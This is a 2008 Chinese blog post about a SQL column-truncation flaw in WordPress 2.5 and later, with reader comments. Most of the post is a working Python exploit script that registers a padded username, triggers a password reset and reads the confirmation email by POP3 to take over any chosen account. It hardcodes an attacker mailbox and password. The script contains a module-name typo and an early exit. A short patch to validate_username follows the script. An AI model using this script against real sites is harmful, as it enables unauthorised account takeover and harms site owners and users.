2008年09月09日

最近又出现了一个漏洞,详细描述见这里:http://milw0rm.com/exploits/6397,关于漏洞的形成原因这里:http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/有很好的描述,主要原因是由于对用户名的检查不足,使得过长的用户名可以注册,从而产生这个问题。

贴一下我写的利用工具,针对2.5及以上版本,可以更改(这里用重置更恰当)任意用户的密码,当然前提是这个开放了注册:

:
  1. #!/usr/bin/env
  2. #coding=utf-8
  3. #author: cocobear.cn@gmail.com
  4. #website:http://cocobear.info
  5.  
  6. """ description:
  7.        http://milw0rm.com/exploits/6397
  8.    influencing:
  9.         2.5 and above
  10.    This short code can change any user's password.
  11. """
  12.  
  13. import urllib,cookelib,urllib2,httplib
  14. import sys
  15. import poplib
  16.  
  17. #all you need to do is change this two lines:
  18. base_url = "http://cocobear.info/blog/"
  19. hack_user= "cocobear"
  20.  
  21. def init():
  22.     cookie = cookielib.CookieJar()
  23.     opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
  24.  
  25.     exheaders = [("User-Agent","Opera/9.27 (X11; Linux x86_64; U; en)"),("Connection","Keep-Alive"),("Referer","http://zzfw.sn.chinamobile.com"),("Accept","text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1"),("Accept-Charset","iso-8859-1, utf-8, utf-16, *;q=0.1"),("Cookie2","$Version=1"),]
  26.  
  27.     opener.addheaders = exheaders
  28.     urllib2.install_opener(opener)
  29.     return opener
  30.  
  31.    
  32. def register(opener):
  33.     global base_url,hack_user,hack_mail
  34.  
  35.     #register a hack user
  36.     num = 60 - len(hack_user)
  37.     hack_user = hack_user + " "*num + "x"
  38.     body = (("user_login",hack_user),("user_email",hack_mail),)
  39.     ret  = opener.open(base_url+"action=register",urllib.urlencode(body))
  40.     print ret.read()
  41.     exit()
  42.  
  43. def change_passwd(opener):
  44.     global base_url,hack_mail,hack_pass
  45.  
  46.     body = (("user_login",hack_mail),)
  47.     print body
  48.     ret  = opener.open(base_url+"action=lostpassword",urllib.urlencode(body))
  49.  
  50.     print ret.read()
  51.  
  52.     #get confirm mail
  53.     pop = poplib.POP3('pop.sina.com')
  54.     pop.user(hack_mail)
  55.     pop.pass_(hack_pass)
  56.     count = pop.stat()[0]
  57.     try:
  58.         data = pop.retr(count)[1]
  59.     except poplib.error_proto:
  60.         print 'get mail error'
  61.         return -1
  62.  
  63.     for l in data:
  64.         if l.startswith(base_url):
  65.             confirm_url = l
  66.             print "Successful!"
  67.  
  68.     #visit confirm mail
  69.     ret = opener.open(confirm_url)
  70.     #print ret.read()
  71.  
  72.    
  73.  
  74.  
  75. def main(argv=None):
  76.     opener=init()
  77.     register(opener)
  78.     change_passwd(opener)
  79.  
  80. hack_mail= "wordpress_sql@sina.com"
  81. hack_pass= "1234566"
  82.  
  83. base_url+= "wp-login.php?"
  84.  
  85.  
  86. if __name__ == "__main__":
  87.     sys.exit(main())

大家不用试我的博客了,我自己打补丁了:

PHP:
  1. function validate_username( $username ) {
  2.        /* if (strlen($username)> 60) {
  3.                 return False;
  4.         }
  5.        */
  6.         $sanitized = sanitize_user( $username, true );
  7.         $valid = ( $sanitized == $username );
  8.         return apply_filters( 'validate_username', $valid, $username );
  9. }

修改wp-includes/registration.php文件中的validate_username函数,注释部分是我添加的。

标签 :

6 楼了已经

  • luguo写于08年09月09日

    Orz

  • orz写于08年09月09日

    你好,请问这段代码如何编译呢~

  • nihuo13写于08年09月09日

    cookelib应该是cookielib吧?

  • Amankwah写于08年09月10日

    为什么要开放注册呢?

  • crazyfranc写于08年09月16日

    不开放就没那么多事了!

  • 草儿写于08年09月17日

    我只是在前几天看到这篇新闻后把注册关闭了,你倒是够狠,直接把程序都写出来了……

    这几天干嘛呢,一直不见你?

发表评论

在下面加入你的评论,或者 trackback 从你的博客站点。 订阅本文的评论。

:

:

:

« 关于串口互联的问题
» Python实现线程池